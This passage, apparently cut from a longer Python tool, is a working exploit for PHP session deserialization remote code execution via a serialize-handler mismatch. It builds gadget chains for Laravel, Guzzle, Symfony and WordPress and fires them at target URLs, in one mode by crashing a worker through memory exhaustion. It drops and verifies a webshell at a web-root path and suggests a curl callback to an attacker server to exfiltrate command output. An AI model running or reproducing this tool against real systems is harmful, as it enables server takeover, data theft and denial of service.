"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
|
||||||
|
|
||||||
|
PendingBroadcast.__destruct
|
||||||
|
-> $this->events->dispatch($this->event)
|
||||||
|
Environment::dispatch($event)
|
||||||
|
-> foreach listenerData as prioritized listeners
|
||||||
|
-> ListenerData->listener is ChainedBatchTruthTest
|
||||||
|
ChainedBatchTruthTest::__invoke($event)
|
||||||
|
-> call_user_func($this->callback, $event)
|
||||||
|
-> system($cmd)
|
||||||
|
|
||||||
|
Channel.__toString returns $this->name, so $event becomes the
|
||||||
|
command string when passed to system().
|
||||||
|
|
||||||
|
Requires illuminate/broadcasting + league/commonmark (both present
|
||||||
|
in all Laravel 10+ installations).
|
||||||
|
"""
|
||||||
|
env_cls = "League\\CommonMark\\Environment\\Environment"
|
||||||
|
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
|
||||||
|
ld_cls = "League\\CommonMark\\Event\\ListenerData"
|
||||||
|
|
||||||
|
truth_test = php_obj(
|
||||||
|
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
|
||||||
|
(prot("callback"), php_str("system")),
|
||||||
|
])
|
||||||
|
|
||||||
|
listener_data = php_obj(ld_cls, [
|
||||||
|
(priv(ld_cls, "event"),
|
||||||
|
php_str("\\Illuminate\\Broadcasting\\Channel")),
|
||||||
|
(priv(ld_cls, "listener"), truth_test),
|
||||||
|
])
|
||||||
|
|
||||||
|
plist = php_obj(list_cls, [
|
||||||
|
(priv(list_cls, "list"), php_arr([
|
||||||
|
(php_int(0), php_arr([(php_int(0), listener_data)])),
|
||||||
|
])),
|
||||||
|
])
|
||||||
|
|
||||||
|
environment = php_obj(env_cls, [
|
||||||
|
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
|
||||||
|
(priv(env_cls, "listenerData"), plist),
|
||||||
|
])
|
||||||
|
|
||||||
|
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
|
||||||
|
(php_str("name"), php_str(cmd)),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||||
|
(prot("events"), environment),
|
||||||
|
(prot("event"), channel),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_laravel10_fw(write_path, shell_code):
|
||||||
|
"""Laravel file write via system() (10.0-13.x+, current).
|
||||||
|
|
||||||
|
Same PendingBroadcast + CommonMark gadget, calls system() with a
|
||||||
|
write command.
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return chain_laravel10_cmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_guzzle_fw(write_path, data):
|
||||||
|
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
|
||||||
|
|
||||||
|
FileCookieJar.__destruct -> save()
|
||||||
|
-> file_put_contents($this->filename, json_encode(...))
|
||||||
|
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
|
||||||
|
|
||||||
|
The written file contains JSON wrapping around the payload.
|
||||||
|
PHP ignores everything before <?php, so a webshell embedded in the
|
||||||
|
Value field works when accessed via HTTP. Use single quotes in the
|
||||||
|
shell code to avoid JSON backslash escaping (double quotes become
|
||||||
|
\" in JSON output, which breaks PHP parsing).
|
||||||
|
|
||||||
|
Guzzle 8.0+ added __unserialize() that throws on deserialization.
|
||||||
|
|
||||||
|
Requires guzzlehttp/guzzle (extremely common HTTP client).
|
||||||
|
"""
|
||||||
|
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
|
||||||
|
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
|
||||||
|
(php_str("Expires"), php_int(1)),
|
||||||
|
(php_str("Discard"), php_bool(False)),
|
||||||
|
(php_str("Value"), php_str(data)),
|
||||||
|
])),
|
||||||
|
])
|
||||||
|
|
||||||
|
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
|
||||||
|
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
|
||||||
|
(php_int(0), cookie),
|
||||||
|
])),
|
||||||
|
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
|
||||||
|
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
|
||||||
|
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
|
||||||
|
])
|
||||||
|
|
||||||
|
return jar
|
||||||
|
|
||||||
|
|
||||||
|
def chain_symfony_cmd(cmd):
|
||||||
|
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
|
||||||
|
|
||||||
|
WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
|
||||||
|
$fileHandles is a SortableIterator wrapping an ArrayObject:
|
||||||
|
SortableIterator implements IteratorAggregate
|
||||||
|
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
|
||||||
|
usort compares elements via call_user_func($a, $b)
|
||||||
|
ArrayObject contains [$function, $parameter]
|
||||||
|
-> call_user_func('system', $cmd)
|
||||||
|
|
||||||
|
Requires symfony/finder + symfony/process (present in all Symfony apps).
|
||||||
|
"""
|
||||||
|
arr = php_obj("ArrayObject", [
|
||||||
|
(php_int(0), php_str(cmd)),
|
||||||
|
(php_int(1), php_str("system")),
|
||||||
|
])
|
||||||
|
|
||||||
|
# ArrayObject serializes differently: uses C: format
|
||||||
|
# We need to use the C: custom serialization format for ArrayObject
|
||||||
|
# Use O: format (works for ArrayObject deserialization):
|
||||||
|
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
|
||||||
|
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
|
||||||
|
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
|
||||||
|
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
|
||||||
|
|
||||||
|
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
|
||||||
|
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
|
||||||
|
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
|
||||||
|
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_symfony_fw(write_path, shell_code):
|
||||||
|
"""Symfony file write via system() (2.6.0-4.4.18).
|
||||||
|
|
||||||
|
Same WindowsPipes gadget, calls system() with a write command.
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return chain_symfony_cmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_wordpress_cmd(cmd):
|
||||||
|
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
|
||||||
|
|
||||||
|
WP_HTML_Token.__destruct
|
||||||
|
-> ($this->on_destroy)($this->bookmark_name)
|
||||||
|
-> system($cmd)
|
||||||
|
|
||||||
|
Uses only PUBLIC properties, so this chain works in progress mode
|
||||||
|
(no NULL bytes from protected/private property names).
|
||||||
|
|
||||||
|
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
|
||||||
|
"""
|
||||||
|
return php_obj("WP_HTML_Token", [
|
||||||
|
(php_str("bookmark_name"), php_str(cmd)),
|
||||||
|
(php_str("on_destroy"), php_str("system")),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_wordpress_fw(write_path, shell_code):
|
||||||
|
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
|
||||||
|
|
||||||
|
Same gadget, calls system() with a write command.
|
||||||
|
Public properties only: works in progress mode.
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return chain_wordpress_cmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
CHAINS = {
|
||||||
|
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
|
||||||
|
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||||
|
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||||
|
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
|
||||||
|
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
|
||||||
|
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
|
||||||
|
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
|
||||||
|
"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
|
||||||
|
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
|
||||||
|
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
|
||||||
|
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
|
||||||
|
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# HTTP helpers (raw sockets for binary payloads)
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls, timeout=30):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=10):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def status_code(resp):
|
||||||
|
try:
|
||||||
|
return int(resp.split(b" ")[1])
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def body_of(resp):
|
||||||
|
if b"\r\n\r\n" not in resp:
|
||||||
|
return resp
|
||||||
|
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||||
|
if b"transfer-encoding: chunked" in hdr.lower():
|
||||||
|
out, data = b"", raw
|
||||||
|
while data:
|
||||||
|
nl = data.find(b"\r\n")
|
||||||
|
if nl < 0:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||||
|
except ValueError:
|
||||||
|
break
|
||||||
|
if clen == 0:
|
||||||
|
break
|
||||||
|
out += data[nl+2:nl+2+clen]
|
||||||
|
data = data[nl+2+clen+2:]
|
||||||
|
return out
|
||||||
|
return raw
|
||||||
|
|
||||||
|
|
||||||
|
def extract_cookies(resp):
|
||||||
|
cookies = {}
|
||||||
|
for line in resp.split(b"\r\n"):
|
||||||
|
if line.lower().startswith(b"set-cookie:"):
|
||||||
|
cookie_str = line.split(b":", 1)[1].strip()
|
||||||
|
kv = cookie_str.split(b";")[0]
|
||||||
|
if b"=" in kv:
|
||||||
|
k, v = kv.split(b"=", 1)
|
||||||
|
cookies[k.strip().decode()] = v.strip().decode()
|
||||||
|
return cookies
|
||||||
|
|
||||||
|
|
||||||
|
def http_get(host, port, tls, path, cookies=None, timeout=10):
|
||||||
|
sock = tcp_connect(host, port, tls, timeout)
|
||||||
|
req = (
|
||||||
|
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
)
|
||||||
|
if cookies:
|
||||||
|
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||||
|
req += b"Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req)
|
||||||
|
resp = recv_all(sock, timeout)
|
||||||
|
sock.close()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
|
||||||
|
sock = tcp_connect(host, port, tls, timeout)
|
||||||
|
req = (
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: application/x-www-form-urlencoded\r\n"
|
||||||
|
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
|
||||||
|
)
|
||||||
|
if cookies:
|
||||||
|
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||||
|
req += b"Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req + body_bytes)
|
||||||
|
resp = recv_all(sock, timeout)
|
||||||
|
sock.close()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# Progress mode: multipart with upload progress + OOM
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def escape_filename(raw):
|
||||||
|
"""Escape bytes for Content-Disposition filename= quoted string.
|
||||||
|
NULL bytes are NOT supported (PHP truncates at \\x00)."""
|
||||||
|
out = b""
|
||||||
|
for byte in raw:
|
||||||
|
if byte == ord('"'):
|
||||||
|
out += b'\\"'
|
||||||
|
elif byte == ord('\\'):
|
||||||
|
out += b'\\\\'
|
||||||
|
elif byte == 0:
|
||||||
|
raise ValueError("NULL bytes cannot appear in multipart filenames")
|
||||||
|
else:
|
||||||
|
out += bytes([byte])
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def mp_field(bnd, name, value):
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||||
|
b"\r\n" + value + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
def mp_file_with_name(bnd, fieldname, filename_raw, content):
|
||||||
|
escaped = escape_filename(filename_raw)
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + fieldname
|
||||||
|
+ b'"; filename="' + escaped + b'"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n"
|
||||||
|
b"\r\n" + content + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
def mp_end(bnd):
|
||||||
|
return b"--" + bnd + b"--\r\n"
|
||||||
|
|
||||||
|
|
||||||
|
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
|
||||||
|
fields=30000, fsize=512):
|
||||||
|
"""Inject chain via upload progress filename + OOM crash.
|
||||||
|
|
||||||
|
The filename contains |<chain>. PHP stores it in the upload
|
||||||
|
progress data in the session file. OOM crash skips cleanup,
|
||||||
|
leaving the poisoned session on disk.
|
||||||
|
|
||||||
|
NOTE: chain_bytes must not contain NULL bytes (multipart parser
|
||||||
|
limitation). Use only chains with public properties.
|
||||||
|
"""
|
||||||
|
bnd = b"----DESER" + os.urandom(8).hex().encode()
|
||||||
|
filename_payload = b"x|" + chain_bytes
|
||||||
|
|
||||||
|
body = b""
|
||||||
|
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
|
||||||
|
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
|
||||||
|
for i in range(fields):
|
||||||
|
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||||
|
body += mp_end(bnd)
|
||||||
|
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=120)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
sock.sendall(body)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
pass
|
||||||
|
resp = recv_all(sock, timeout=10)
|
||||||
|
sock.close()
|
||||||
|
return status_code(resp)
|
||||||
|
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# Exploit logic
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def run_inject(args, chain_bytes):
|
||||||
|
"""Inject mode: POST chain into session, trigger via handler mismatch."""
|
||||||
|
inj = urlparse(args.inject_url)
|
||||||
|
trg = urlparse(args.trigger_url)
|
||||||
|
inj_tls = inj.scheme == "https"
|
||||||
|
trg_tls = trg.scheme == "https"
|
||||||
|
inj_host = inj.hostname or "127.0.0.1"
|
||||||
|
trg_host = trg.hostname or "127.0.0.1"
|
||||||
|
inj_port = inj.port or (443 if inj_tls else 80)
|
||||||
|
trg_port = trg.port or (443 if trg_tls else 80)
|
||||||
|
inj_path = inj.path or "/"
|
||||||
|
trg_path = trg.path or "/"
|
||||||
|
if inj.query:
|
||||||
|
inj_path += "?" + inj.query
|
||||||
|
if trg.query:
|
||||||
|
trg_path += "?" + trg.query
|
||||||
|
|
||||||
|
# The payload: | followed by serialized chain
|
||||||
|
# When php_serialize stores this in the session file as a
|
||||||
|
# length-prefixed string, the | is preserved. When the php
|
||||||
|
# handler reads the file, it finds | and deserializes what follows.
|
||||||
|
payload = b"|" + chain_bytes
|
||||||
|
|
||||||
|
print("[*] Phase 1: obtaining session ID from inject endpoint...")
|
||||||
|
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
|
||||||
|
cookies = extract_cookies(probe)
|
||||||
|
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
|
||||||
|
print(f" PHPSESSID: {sid}")
|
||||||
|
|
||||||
|
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
|
||||||
|
print(f" Payload size: {len(payload)} bytes")
|
||||||
|
|
||||||
|
# URL-encode the binary payload for form POST
|
||||||
|
encoded_param = args.inject_param.encode() + b"="
|
||||||
|
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
|
||||||
|
post_body = encoded_param + encoded_value
|
||||||
|
|
||||||
|
resp = http_post_form(
|
||||||
|
inj_host, inj_port, inj_tls, inj_path,
|
||||||
|
post_body,
|
||||||
|
cookies=f"PHPSESSID={sid}",
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
sc = status_code(resp)
|
||||||
|
print(f" Response: HTTP {sc}")
|
||||||
|
if sc not in (200, 301, 302, 303, 204):
|
||||||
|
print(f" [!] Unexpected status. Session may not have been written.")
|
||||||
|
|
||||||
|
print("[*] Phase 3: triggering deserialization via handler mismatch...")
|
||||||
|
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
|
||||||
|
|
||||||
|
resp2 = http_get(
|
||||||
|
trg_host, trg_port, trg_tls, trg_path,
|
||||||
|
cookies=f"PHPSESSID={sid}",
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
sc2 = status_code(resp2)
|
||||||
|
body2 = body_of(resp2).decode(errors="replace")
|
||||||
|
print(f" Response: HTTP {sc2}")
|
||||||
|
|
||||||
|
return sid, sc2, body2
|
||||||
|
|
||||||
|
|
||||||
|
def run_progress(args, chain_bytes):
|
||||||
|
"""Progress mode: inject via upload progress filename + OOM crash."""
|
||||||
|
wr = urlparse(args.write_url)
|
||||||
|
trg = urlparse(args.trigger_url)
|
||||||
|
wr_tls = wr.scheme == "https"
|
||||||
|
trg_tls = trg.scheme == "https"
|
||||||
|
wr_host = wr.hostname or "127.0.0.1"
|
||||||
|
trg_host = trg.hostname or "127.0.0.1"
|
||||||
|
wr_port = wr.port or (443 if wr_tls else 80)
|
||||||
|
trg_port = trg.port or (443 if trg_tls else 80)
|
||||||
|
wr_path = wr.path or "/"
|
||||||
|
trg_path = trg.path or "/"
|
||||||
|
|
||||||
|
if b"\x00" in chain_bytes:
|
||||||
|
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
|
||||||
|
print(" via multipart filenames (PHP truncates at \\x00).")
|
||||||
|
print(" Use --mode inject, or provide a NULL-free chain.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
sid = os.urandom(16).hex()
|
||||||
|
print(f"[*] Session ID: {sid}")
|
||||||
|
|
||||||
|
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
|
||||||
|
print(f" Fields: {args.fields} x {args.field_size}B")
|
||||||
|
sc = progress_inject_oom(
|
||||||
|
wr_host, wr_port, wr_tls, wr_path, sid,
|
||||||
|
chain_bytes, args.fields, args.field_size,
|
||||||
|
)
|
||||||
|
if sc in (502, 0):
|
||||||
|
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
||||||
|
elif sc == 500:
|
||||||
|
print(f" [+] HTTP 500 (OOM during script)")
|
||||||
|
else:
|
||||||
|
print(f" [!] HTTP {sc} — may not have OOMed")
|
||||||
|
|
||||||
|
print(" Waiting for new worker...")
|
||||||
|
time.sleep(2)
|
||||||
|
for _ in range(8):
|
||||||
|
try:
|
||||||
|
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
|
||||||
|
if status_code(r) in (200, 301, 302, 403, 404):
|
||||||
|
print(" New worker ready")
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
print("[*] Phase 2: triggering deserialization via handler mismatch...")
|
||||||
|
resp = http_get(
|
||||||
|
trg_host, trg_port, trg_tls, trg_path,
|
||||||
|
cookies=f"PHPSESSID={sid}",
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
sc2 = status_code(resp)
|
||||||
|
body2 = body_of(resp).decode(errors="replace")
|
||||||
|
print(f" Response: HTTP {sc2}")
|
||||||
|
|
||||||
|
return sid, sc2, body2
|
||||||
|
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
# Build or load chain
|
||||||
|
if args.chain_file:
|
||||||
|
with open(args.chain_file, "rb") as f:
|
||||||
|
chain_bytes = f.read().rstrip(b"\n\r")
|
||||||
|
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
|
||||||
|
try:
|
||||||
|
chain_bytes = base64.b64decode(chain_bytes)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
|
||||||
|
elif args.chain in CHAINS:
|
||||||
|
info = CHAINS[args.chain]
|
||||||
|
if info["type"] == "fw":
|
||||||
|
if not args.write_path:
|
||||||
|
print(f"[!] --write-path required for {args.chain} chain")
|
||||||
|
print(" e.g., --write-path /var/www/html/shell.php")
|
||||||
|
sys.exit(1)
|
||||||
|
shell = args.shell_code or "<?php system($_GET['c']); ?>"
|
||||||
|
chain_bytes = info["fn"](args.write_path, shell)
|
||||||
|
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
|
||||||
|
else:
|
||||||
|
if not args.cmd:
|
||||||
|
print(f"[!] --cmd required for {args.chain} chain")
|
||||||
|
sys.exit(1)
|
||||||
|
chain_bytes = info["fn"](args.cmd)
|
||||||
|
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
|
||||||
|
else:
|
||||||
|
print("[!] Specify --chain or --chain-file")
|
||||||
|
print(" Available chains: " + ", ".join(CHAINS.keys()))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[*] Chain size: {len(chain_bytes)} bytes")
|
||||||
|
has_nulls = b"\x00" in chain_bytes
|
||||||
|
if has_nulls:
|
||||||
|
print("[*] Chain contains NULL bytes (normal for protected/private props)")
|
||||||
|
print()
|
||||||
|
|
||||||
|
print("=" * 65)
|
||||||
|
print(" PHP Session Deserialization RCE — Handler Mismatch")
|
||||||
|
print(" No LFI. No FPM dependency.")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" Mode : {args.mode}")
|
||||||
|
if args.mode == "inject":
|
||||||
|
print(f" Inject URL : {args.inject_url}")
|
||||||
|
print(f" Inject param: {args.inject_param}")
|
||||||
|
else:
|
||||||
|
print(f" Write URL : {args.write_url}")
|
||||||
|
print(f" Trigger URL: {args.trigger_url}")
|
||||||
|
if args.chain_file:
|
||||||
|
print(f" Chain : {args.chain_file}")
|
||||||
|
else:
|
||||||
|
print(f" Chain : {args.chain}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
if args.mode == "inject":
|
||||||
|
sid, sc, body = run_inject(args, chain_bytes)
|
||||||
|
else:
|
||||||
|
sid, sc, body = run_progress(args, chain_bytes)
|
||||||
|
|
||||||
|
# Post-exploit for fw chains: verify the webshell was written
|
||||||
|
chain_info = CHAINS.get(args.chain, {})
|
||||||
|
if chain_info.get("type") == "fw" and args.write_path:
|
||||||
|
print()
|
||||||
|
print("[*] Phase 4: verifying webshell...")
|
||||||
|
|
||||||
|
# Guess the webshell URL from write_path
|
||||||
|
# /var/www/html/shell.php -> /shell.php
|
||||||
|
shell_rel = args.write_path
|
||||||
|
for prefix in ["/var/www/html", "/var/www", "/srv/http",
|
||||||
|
"/usr/share/nginx/html"]:
|
||||||
|
if shell_rel.startswith(prefix):
|
||||||
|
shell_rel = shell_rel[len(prefix):]
|
||||||
|
break
|
||||||
|
|
||||||
|
trg = urlparse(args.trigger_url)
|
||||||
|
trg_tls = trg.scheme == "https"
|
||||||
|
trg_host = trg.hostname or "127.0.0.1"
|
||||||
|
trg_port = trg.port or (443 if trg_tls else 80)
|
||||||
|
|
||||||
|
verify_url = shell_rel + "?c=id"
|
||||||
|
try:
|
||||||
|
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
|
||||||
|
vbody = body_of(resp).decode(errors="replace")
|
||||||
|
if "uid=" in vbody:
|
||||||
|
print(f" [+] Webshell works!")
|
||||||
|
print()
|
||||||
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||||
|
print(vbody.strip())
|
||||||
|
print("[+] ══════════════════════════════════════════")
|
||||||
|
print()
|
||||||
|
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" [!] Could not verify: {e}")
|
||||||
|
|
||||||
|
if chain_info.get("type") == "cmd":
|
||||||
|
# Command output may be in the trigger response itself,
|
||||||
|
# or it may have run as a side effect (no visible output).
|
||||||
|
print()
|
||||||
|
if body.strip():
|
||||||
|
print("[+] Trigger response body:")
|
||||||
|
print(body[:500])
|
||||||
|
print()
|
||||||
|
print("[*] Command was executed during deserialization (__destruct).")
|
||||||
|
print(" If output is not visible, use a callback payload:")
|
||||||
|
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Deserialization triggered. If no RCE:")
|
||||||
|
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
|
||||||
|
print(" - Verify the POP chain matches the target's libraries")
|
||||||
|
print(" - Try phpggc to generate a chain for the exact versions:")
|
||||||
|
print(" phpggc -l | grep RCE")
|
||||||
|
print(f" - Session ID was: {sid}")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(
|
||||||
|
description="PHP Session Deserialization RCE via Handler Mismatch",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
No LFI. No FPM. RCE via session.serialize_handler mismatch.
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
# Inject mode with Monolog file write (drops webshell):
|
||||||
|
%(prog)s --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain monolog-fw --write-path /var/www/html/s.php
|
||||||
|
|
||||||
|
# Inject mode with direct command execution:
|
||||||
|
%(prog)s --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain monolog-cmd --cmd 'id'
|
||||||
|
|
||||||
|
# Custom phpggc chain (raw or base64):
|
||||||
|
phpggc Monolog/RCE1 system id > chain.bin
|
||||||
|
%(prog)s --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain-file chain.bin
|
||||||
|
|
||||||
|
